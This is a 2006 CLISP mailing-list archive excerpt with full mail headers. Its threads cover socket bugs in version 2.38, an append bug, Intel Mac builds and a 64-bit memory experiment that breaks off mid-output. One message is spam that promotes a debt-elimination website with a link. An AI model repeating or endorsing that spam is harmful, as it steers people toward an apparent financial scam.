clisp-list@lists.sourceforge.net; Tue, 21 Feb 2006 11:33:23 -0800 Received: from h-66-166-0-98.lsanca54.covad.net ([66.166.0.98] helo=isis.cs3-inc.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FBdGB-0000Nk-Jh for clisp-list@lists.sourceforge.net; Tue, 21 Feb 2006 11:33:20 -0800 Received: by isis.cs3-inc.com (Postfix, from userid 501) id 1A7471A81CC; Tue, 21 Feb 2006 11:33:16 -0800 (PST) From: don-sourceforge-xx@isis.cs3-inc.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17403.27388.53617.847132@isis.cs3-inc.com> To: "Hoehle, Joerg-Cyril" Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Another problem in 2.38 - SOCKET-STATUS In-Reply-To: <5F9130612D07074EB0A0CE7E69FD7A03089A31BD@S4DE8PSAAGS.blf.telekom.de> References: <5F9130612D07074EB0A0CE7E69FD7A03089A31BD@S4DE8PSAAGS.blf.telekom.de> X-Mailer: VM 7.07 under 21.4 (patch 8) "Honest Recruiter" XEmacs Lucid X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Feb 21 11:34:01 2006 X-Original-Date: Tue, 21 Feb 2006 11:33:16 -0800 Hoehle, Joerg-Cyril writes: > Don cohen wrote: > >(Socket-status s 0) seems to wait when s has type (unsigned-byte 8). > Confirmed your socket-status/element-type/buffered-socket bug with > a MS-VC6 CVS build. > It does not need (setf stream-element-type) switch: > [38]> (setf s (socket:socket-accept ss :element-type '(unsigned-byte 8))) > # > [39]> (SOCKET-STATUS S 0) > [only after I input something via a connected client] > :IO ; > 1 Sorry, I knew that. I was trying to show with the simplest example that this was the difference between working and not. I now see my example could also be interpreted as evidence that there was something wrong with (setf stream-element-type). > Work-around seems to be without :buffering [grmpf] That's interesting. My work around had been to temporarily set the element type whenever I wanted to call socket-status. > [42]> (setf s (socket:socket-accept ss :element-type '(unsigned-byte 8) :buffered nil)) > # > [43]> (SOCKET-STATUS S 0) > :OUTPUT ; > 1 > > Regards, > Jorg Hohle. From dmurray@jsbsystems.com Tue Feb 21 12:54:11 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FBeWQ-00012H-Sm for clisp-list@lists.sourceforge.net; Tue, 21 Feb 2006 12:54:10 -0800 Received: from rwcrmhc14.comcast.net ([216.148.227.154]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FBeWP-0007dV-Sw for clisp-list@lists.sourceforge.net; Tue, 21 Feb 2006 12:54:11 -0800 Received: from nazgul.jsbsystems.com ([71.224.35.252]) by comcast.net (rwcrmhc14) with SMTP id <20060221205402m14003dqg9e>; Tue, 21 Feb 2006 20:54:02 +0000 Received: (qmail 29777 invoked from network); 21 Feb 2006 20:53:16 -0000 Received: from localhost (127.0.0.1) by nazgul.jsbsystems.com with SMTP; 21 Feb 2006 20:53:16 -0000 From: David N Murray X-X-Sender: dnm@nazgul.jsbsystems.com To: Don Cohen cc: "Hoehle, Joerg-Cyril" , clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] problem with socket-server in clisp 2.38 In-Reply-To: <17403.26533.319769.192274@isis.cs3-inc.com> Message-ID: References: <5F9130612D07074EB0A0CE7E69FD7A03089A31C5@S4DE8PSAAGS.blf.telekom.de> <17403.26533.319769.192274@isis.cs3-inc.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Feb 21 12:55:02 2006 X-Original-Date: Tue, 21 Feb 2006 15:53:16 -0500 (EST) On Feb 21, Don Cohen scribed: > Hoehle, Joerg-Cyril writes: > > Don Cohen wrote: > > > > >I'm doing this in linux. > > I can't reproduce this using a fresh MS-VC6 build from CVS > > (with 1 single typo to fix, not yet in CVS) -- but it's not Linux. > It now occurs to me that the patch you mentioned might indeed fix > the problem. I may have misinterpreted your reply as meaning that > the patch affected the default. The fact that supplying the value > I wanted still didn't work suggested to me that changing the default > was not enough. > I'm trying this on WinXP, using a binary install: [24]> (lisp-implementation-version) "2.38 (2006-01-24) (built on stnt067 [192.168.0.1])" > > > (SOCKET:SOCKET-SERVER 2223) > > > # > > [8]> (SOCKET:SOCKET-SERVER 2223) > > # > > [7]> (setq l1 (socket-server 2223)) # [8]> (setq s1 (socket-connect 2223 "127.0.0.1")) # [9]> (close s1) T [10]> (setq s1 (socket-connect 2223 "192.168.1.3")) *** - Winsock error 10061 (ECONNREFUSED): Connection refused The following restarts are available: ABORT :R1 ABORT Break 1 [11]> :q 192.168.1.3 is the only address of the only network card on this machine. Looking at the implementation notes, I don't believe this is the correct behavior. The impl notes say "Default is (for backward compatibility) to bind to all local interfaces...", but clearly it's not doing this anymore. > > > (SOCKET:SOCKET-SERVER 2224 :interface "0.0.0.0") > > [13]> (SOCKET:SOCKET-SERVER 2224 :interface "0.0.0.0") > > # > > [14]> (socket-server-close l1) NIL [15]> (setq l1 (socket-server 2223 :interface "0.0.0.0")) # [16]> (setq s1 (socket-connect 2223 "192.168.1.3")) # [17]> (close s1) T [18]> (socket-server-close l1) NIL > > > (SOCKET:SOCKET-SERVER 2225 :interface "10.0.0.10") > > > # > Why is this the right result? Is the argument invalid? (If so, why?) > Even if it is, it seems to me that an error would be more appropriate. > [19]> (setq l1 (socket-server 2223 :interface "192.168.1.3")) # [20]> (setq s1 (socket-connect 2223 "192.168.1.3")) # [21]> (close s1) T [22]> (setq s1 (socket-connect 2223 "127.0.0.1")) *** - Winsock error 10061 (ECONNREFUSED): Connection refused The following restarts are available: ABORT :R1 ABORT Break 1 [23]> :q I think the issue may be that the socket indicated it's bound to 127.0.0.1 when in fact, that's not the case. Dave From Joerg-Cyril.Hoehle@t-systems.com Wed Feb 22 07:32:10 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FBvyL-00059t-1s for clisp-list@lists.sourceforge.net; Wed, 22 Feb 2006 07:32:09 -0800 Received: from tcmail33.telekom.de ([217.6.95.240]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FBvyK-00043S-FC for clisp-list@lists.sourceforge.net; Wed, 22 Feb 2006 07:32:09 -0800 Received: from S4DE8PSAANQ.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Wed, 22 Feb 2006 16:31:32 +0100 Received: by S4DE8PSAANQ.blf.telekom.de with Internet Mail Service (5.5.2653.19) id ; Wed, 22 Feb 2006 16:31:32 +0100 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A03089A3977@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] problem with socket-server in clisp 2.38 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Feb 22 07:33:00 2006 X-Original-Date: Wed, 22 Feb 2006 16:31:27 +0100 David N Murray wrote: >I'm trying this on WinXP, using a binary install: Then it's likely not CVS, and the patch I mentioned *is* relevant to this issue. Don Cohen writes: >It now occurs to me that the patch you mentioned might indeed fix >the problem. I'm sure it does, for most of what you see. I got (from CVS): >> > # 0.0.0.0 means "all local interfaces" Both you and Don obtain 127.0.0.1 from the unpatched 2.38. ># >[10]> (setq s1 (socket-connect 2223 "192.168.1.3")) >*** - Winsock error 10061 (ECONNREFUSED): Connection refused Normal behaviour for a server (erroneously) bound to 127.0.0.1 Summary: 2.38 has a bug there, but the patch is in CVS since January. Don Cohen wonders: > > > (SOCKET:SOCKET-SERVER 2226 :interface "foo") > > > # >Again, why does this make sense? >If the argument is invalid shouldn't you get an error? Indeed, that's another bug. I have a fix for that (not yet in CVS). CLISP will raise an error (EINVAL IIRC) when I'll merge my code. Regards, Jorg Hohle. From Joerg-Cyril.Hoehle@t-systems.com Wed Feb 22 07:37:33 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FBw3Y-0005ig-El for clisp-list@lists.sourceforge.net; Wed, 22 Feb 2006 07:37:32 -0800 Received: from tcmail33.telekom.de ([217.6.95.240]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FBw3Y-0006UX-1t for clisp-list@lists.sourceforge.net; Wed, 22 Feb 2006 07:37:32 -0800 Received: from S4DE8PSAANQ.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Wed, 22 Feb 2006 16:37:23 +0100 Received: by S4DE8PSAANQ.blf.telekom.de with Internet Mail Service (5.5.2653.19) id ; Wed, 22 Feb 2006 16:37:23 +0100 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A03089A398A@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Another problem in 2.38 - SOCKET-STATUS MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Feb 22 07:38:03 2006 X-Original-Date: Wed, 22 Feb 2006 16:37:22 +0100 > > Work-around seems to be without :buffering [grmpf] >That's interesting. My work around had been to temporarily set >the element type whenever I wanted to call socket-status. Both work. listen_byte() is bogus with buffered streams, whereas listen_char() seems fine. More precisely, listen_...iu8_buffered(sp?) and listen_char_buffered() differ in their implementation but I see no reason why (plain oversight from previous patch?). I now have to analyse why the code is different and find a correct solution for all cases (EOF, buffered, pipe/socket/interactive or not, error etc.) -- or somebody else could submit a patch for review :) Thank you for the bug report. BTW, I'd welcome suggestions for improving the testsuite on sockets. Obviously, there are difficulties when running a single thread/process and trying to play both server and client in the testsuite, as CLISP currently does. That doesn't cover all scenarios. Regards, Jorg Hohle. From don-sourceforge-xx@isis.cs3-inc.com Wed Feb 22 16:28:32 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FC4LP-0006aT-Uj for clisp-list@lists.sourceforge.net; Wed, 22 Feb 2006 16:28:31 -0800 Received: from h-66-166-0-98.lsanca54.covad.net ([66.166.0.98] helo=isis.cs3-inc.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FC4LO-0003FT-PW for clisp-list@lists.sourceforge.net; Wed, 22 Feb 2006 16:28:32 -0800 Received: by isis.cs3-inc.com (Postfix, from userid 501) id EF48B1A81CC; Wed, 22 Feb 2006 16:28:35 -0800 (PST) From: don-sourceforge-xx@isis.cs3-inc.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17405.435.922851.468948@isis.cs3-inc.com> To: clisp-list@lists.sourceforge.net In-Reply-To: <20060222041203.8EBCA88EE2@sc8-sf-spam1.sourceforge.net> References: <20060222041203.8EBCA88EE2@sc8-sf-spam1.sourceforge.net> X-Mailer: VM 7.07 under 21.4 (patch 8) "Honest Recruiter" XEmacs Lucid X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: [clisp-list] next problem - should socket-status ever err? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Wed Feb 22 16:29:04 2006 X-Original-Date: Wed, 22 Feb 2006 16:28:35 -0800 This time it's on windows. Still 2.38. I have a stream that has been closed from the other side and socket:SOCKET-STATUS generates an error: Winsock error 10054 (ECONNRESET): Connection reset by peer I thought that socket-status (at least on a socket stream) was never supposed to cause an error. The stream still appears open to lisp, even after the error above. The doc is slightly ambiguous here. We define status for a SOCKET:SOCKET-SERVER or a SOCKET:SOCKET-STREAM to be :ERROR if any i/o operation will cause an ERROR. That could mean either if ALL operation will cause errors or if SOME operations will cause errors. The second seems more plausible to me. In fact, I suspect it really means that if the code trying to compute socket-status generates an error, then the value will be :error. But then the Winsock error above should cause status to be :error. I haven't checked the error yet on linux. In fact, it may be difficult to check since not every client generates the error and I currently can't accept connections from other machines (due to earlier mentioned problem). From Joerg-Cyril.Hoehle@t-systems.com Thu Feb 23 03:06:49 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FCEJ5-0008HG-FN for clisp-list@lists.sourceforge.net; Thu, 23 Feb 2006 03:06:47 -0800 Received: from tcmail33.telekom.de ([217.6.95.240]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FCEJ2-0003rF-Ua for clisp-list@lists.sourceforge.net; Thu, 23 Feb 2006 03:06:47 -0800 Received: from s4de8psaans.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP for clisp-list@lists.sourceforge.net; Thu, 23 Feb 2006 12:06:32 +0100 Received: by S4DE8PSAANS.blf.telekom.de with Internet Mail Service (5.5.2653.19) id ; Thu, 23 Feb 2006 12:06:31 +0100 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A0308A60A03@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] next problem - should socket-status ever err? MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Feb 23 03:07:05 2006 X-Original-Date: Thu, 23 Feb 2006 12:06:22 +0100 Don Cohen writes: >I have a stream that has been closed from the other side >and socket:SOCKET-STATUS generates an error: I suspect this to be a corollary of the other bugs, because SOCKET-STATUS used to read input from the socket (causing it to hang), thus raising the error on the closed socket. Anyway, the patch working for me on Linux is now in CVS, together with a testsuite that will hang when tested with 2.38, but works fine with CVS. Please report your results based on CVS, or provide a testcase. Which side did you close first: the reader or writer? Another call to socket-status could be added after one close in the testsuite. Also, more combinations of :buffered t/nil/:default could be tested... Regards, Jorg Hohle. From blackwolf@blackwolfinfosys.net Thu Feb 23 14:34:58 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FCP34-0003Vt-Bg for clisp-list@lists.sourceforge.net; Thu, 23 Feb 2006 14:34:58 -0800 Received: from ms-smtp-02-smtplb.ohiordc.rr.com ([65.24.5.136] helo=ms-smtp-02-eri0.ohiordc.rr.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FCP32-0000qA-Kn for clisp-list@lists.sourceforge.net; Thu, 23 Feb 2006 14:34:58 -0800 Received: from shadizar.blackwolfinfosys.net (cpe-24-92-90-108.midsouth.res.rr.com [24.92.90.108]) by ms-smtp-02-eri0.ohiordc.rr.com (8.13.4/8.13.4) with ESMTP id k1NMYo6e002694 for ; Thu, 23 Feb 2006 17:34:51 -0500 (EST) Received: from localhost (localhost [127.0.0.1]) by shadizar.blackwolfinfosys.net (Postfix) with ESMTP id 2BBCA1C009 for ; Thu, 23 Feb 2006 16:34:50 -0600 (CST) Received: from shadizar.blackwolfinfosys.net ([127.0.0.1]) by localhost (blackwolfinfosys.net [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 03042-15 for ; Thu, 23 Feb 2006 16:34:50 -0600 (CST) Received: by shadizar.blackwolfinfosys.net (Postfix, from userid 1000) id 112C31C044; Thu, 23 Feb 2006 16:34:50 -0600 (CST) Resent-To: clisp list Resent-From: "Michael J. Barillier" Resent-Date: Thu, 23 Feb 2006 16:34:50 -0600 Resent-Message-ID: <87vev5g0vp.fsf@shadizar.blackwolfinfosys.net> To: clisp list From: "Michael J. Barillier" References: In-Reply-To: (Joe Koski's message of "Mon, 13 Feb 2006 20:54:49 -0700") Message-ID: <87y801g248.fsf@shadizar.blackwolfinfosys.net> User-Agent: Gnus/5.1006 (Gnus v5.10.6) Emacs/21.4 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Lines: 20 X-Virus-Scanned: Symantec AntiVirus Scan Engine X-Virus-Scanned: amavisd-new at blackwolfinfosys.net X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: [clisp-list] NULs when appending to text file? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Feb 23 14:35:04 2006 X-Original-Date: Thu, 23 Feb 2006 16:08:07 -0600 I'm working on some throw-away code that appends to a text file using `with-open-file'. However, I've noticed that the data at the end of the file (prior to writing) gets clobbered by NULs (ASCII byte 0x00). The code bit I'm running is similar to: (with-open-file (*standard-output* "foo" :direction :output :if-exists :append) (mapc #'(lambda (x) (prin1 x) (terpri)) (generate-lots-of-data))) If data exists in the file already, a chunk at the end gets overwritten with NULs and the new data is appended. Is there a known bug with `:if-exists :append', am I doing something stupid, or something else? thx - -- Michael J. Barillier /// http://www.blackwolfinfosys.net/~blackwolf/ .O. | ``Experience with many protocols has shown that protocols with ..O | few options tend towards ubiquity, whereas protocols with many OOO | options tend towards obscurity.'' -- RFC 2821 From Joerg-Cyril.Hoehle@t-systems.com Fri Feb 24 02:14:50 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FCZyL-00059P-O3 for clisp-list@lists.sourceforge.net; Fri, 24 Feb 2006 02:14:49 -0800 Received: from tcmail33.telekom.de ([217.6.95.240]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FCZyI-0001zh-Qt for clisp-list@lists.sourceforge.net; Fri, 24 Feb 2006 02:14:49 -0800 Received: from S4DE8PSAANQ.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP; Fri, 24 Feb 2006 11:14:36 +0100 Received: by S4DE8PSAANQ.blf.telekom.de with Internet Mail Service (5.5.2653.19) id ; Fri, 24 Feb 2006 11:14:36 +0100 Message-Id: <5F9130612D07074EB0A0CE7E69FD7A0308A61189@S4DE8PSAAGS.blf.telekom.de> From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: blackwolf@blackwolfinfosys.net Subject: Re: [clisp-list] NULs when appending to text file? MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Feb 24 02:15:08 2006 X-Original-Date: Fri, 24 Feb 2006 11:14:27 +0100 Michael J. Barillier wrote: >Betreff: [clisp-list] NULs when appending to text file? You didn't mention which version of Lisp you're using. It looks like you missed this: 2.38 (2006-01-24) ================= User visible changes -------------------- * Fixed the OPEN :IF-EXISTS :APPEND bug introduced in 2.37. Regards, Jorg Hohle. From ahoneania@iloveyou.ru Sat Feb 25 21:13:56 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FDEEG-0003Gg-DK; Sat, 25 Feb 2006 21:13:56 -0800 Received: from [60.177.100.196] (helo=iloveyou.ru) by mail.sourceforge.net with smtp (Exim 4.44) id 1FDEE4-0005oH-MU; Sat, 25 Feb 2006 21:13:56 -0800 Message-ID: Reply-To: "Gillette" From: "Gillette" User-Agent: Windows Eudora Pro Version 2.2 (32) MIME-Version: 1.0 To: "Rettlesneke" Cc: , , , , , Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Spam-Score: 0.3 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.3 DATE_IN_PAST_24_48 Date: is 24 to 48 hours before Received: date Subject: [clisp-list] Eliminate all that you owe not even mailing an other dime Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Feb 25 21:14:05 2006 X-Original-Date: Fri, 24 Feb 2006 12:12:39 -0700 A couple wks ago, I came to the realization that I was getting ripped off by my credit card companies. I read a bunch of stuff on the net and was sent to this site at http://geocities.yahoo.com.br/dante_bielak/. They made me realize how I was getting ripped off by them and they helped me change all that. I was able to make vanish all my debt, basically make it disappear. It was as easy as nothing. I'm so glad I came across them and so will you. by the fact that he lost the popular election by a half a million votes, that the Joint Chief From dvstarr@earthlink.net Sun Feb 26 07:29:23 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FDNpl-0003rG-L2 for clisp-list@lists.sourceforge.net; Sun, 26 Feb 2006 07:29:17 -0800 Received: from pop-siberian.atl.sa.earthlink.net ([207.69.195.71]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FDNpj-0003By-EW for clisp-list@lists.sourceforge.net; Sun, 26 Feb 2006 07:29:17 -0800 Received: from dialup-4.245.185.151.dial1.stamford1.level3.net ([4.245.185.151]) by pop-siberian.atl.sa.earthlink.net with esmtp (Exim 3.36 #10) id 1FDNph-0005B7-00 for clisp-list@lists.sourceforge.net; Sun, 26 Feb 2006 10:29:14 -0500 Mime-Version: 1.0 (Apple Message framework v623) Content-Transfer-Encoding: 7bit Message-Id: <1e6726883eaea35df40887f143a23c92@earthlink.net> Content-Type: text/plain; charset=US-ASCII; format=flowed To: clisp-list@lists.sourceforge.net From: Dan Starr X-Mailer: Apple Mail (2.623) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] intel macs Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Feb 26 07:30:05 2006 X-Original-Date: Sun, 26 Feb 2006 10:29:12 -0500 Considering getting an Intel-based Macintosh, but alas I will need Common Lisp. I have waded through somehow messy clisp builds thanks to judicious hand-holding in the past. My questions: Can I expect the adventure configuring and making to be very difficult? Is somebody else already working on this one? What might be the ETA? Please advise. -- devious dan "The proof of the putting the carriage before the horse-chestnuts in in the eating." From don-sourceforge-xx@isis.cs3-inc.com Mon Feb 27 13:18:24 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FDpl9-0000j3-OO for clisp-list@lists.sourceforge.net; Mon, 27 Feb 2006 13:18:23 -0800 Received: from h-66-166-0-98.lsanca54.covad.net ([66.166.0.98] helo=isis.cs3-inc.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FDpl6-0002E6-Ui for clisp-list@lists.sourceforge.net; Mon, 27 Feb 2006 13:18:21 -0800 Received: by isis.cs3-inc.com (Postfix, from userid 501) id A3B991A81CC; Mon, 27 Feb 2006 13:18:20 -0800 (PST) From: don-sourceforge-xx@isis.cs3-inc.com (Don Cohen) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17411.27804.607919.706828@isis.cs3-inc.com> To: clisp-list@lists.sourceforge.net X-Mailer: VM 7.07 under 21.4 (patch 8) "Honest Recruiter" XEmacs Lucid X-Spam-Score: 1.0 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 1.0 FORGED_RCVD_HELO Received: contains a forged HELO Subject: [clisp-list] experiments with 64 bit machine - GC and paging Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Feb 27 13:19:42 2006 X-Original-Date: Mon, 27 Feb 2006 13:18:20 -0800 I find myself for the first time in possession of a 64 bit machine (AMD Athlon eMachines, would you believe) and thought I'd try using some of the expanded address space. I've installed Fedora Core 4 with 10G swap space. (I assume this is really used for "paging" rather than "swapping") I have 512M RAM. The first thing I tried was making large strings. One of my complaints with recent clisp versions was that the limit was too small. I think it's currently about 2MB whereas it used to be about 8MB (for 32 bit machines). So I was happy to see that the limit on the 64 bit machine was much higher - 64M. (Aside - I prefer to think of lisp as not imposing such artificial limits. Wouldn't it be more reasonable to allow any variable size datum to be as large as the largest chunk of VM the OS is willing to allocate?) The result below shows one minor bug in TIME. Evidently it's not prepared for numbers of bytes that don't fit in 32 bits. My focus here is performance issues related to paging and GC. [1]> (lisp-implementation-version) "2.38 (2006-01-24) (built on hammer1.fedora.redhat.com)" [2]> *features* (:READLINE :REGEXP :SYSCALLS :I18N :LOOP :COMPILER :CLOS :MOP :CLISP :ANSI-CL :COMMON-LISP :LISP=CL :INTERPRETER :SOCKETS :GENERIC-STREAMS :LOGICAL-PATHNAMES :SCREEN :FFI :GETTEXT :UNICODE :BASE-CHAR=CHARACTER :PC386 :UNIX) [3]> (setf s nil) NIL [4]> (loop (time (length (push (make-string 64000000) s))) (room) (run-shell-command "cat /proc/meminfo |grep swap") ) The cat|grep command above didn't work as intended. The output I wanted uses upper case for the S in Swap. Real time: 0.00558 sec. Run time: 0.008001 sec. Space: 64001776 Bytes GC: 2, GC time: 0.008001 sec. Bytes permanently allocated: 159712 Bytes currently in use: 67109592 Bytes available until next GC: 772688 Real time: 1.864564 sec. Run time: 0.508031 sec. Space: 64001776 Bytes GC: 2, GC time: 0.508031 sec. Bytes permanently allocated: 159712 Bytes currently in use: 131099760 Bytes available until next GC: 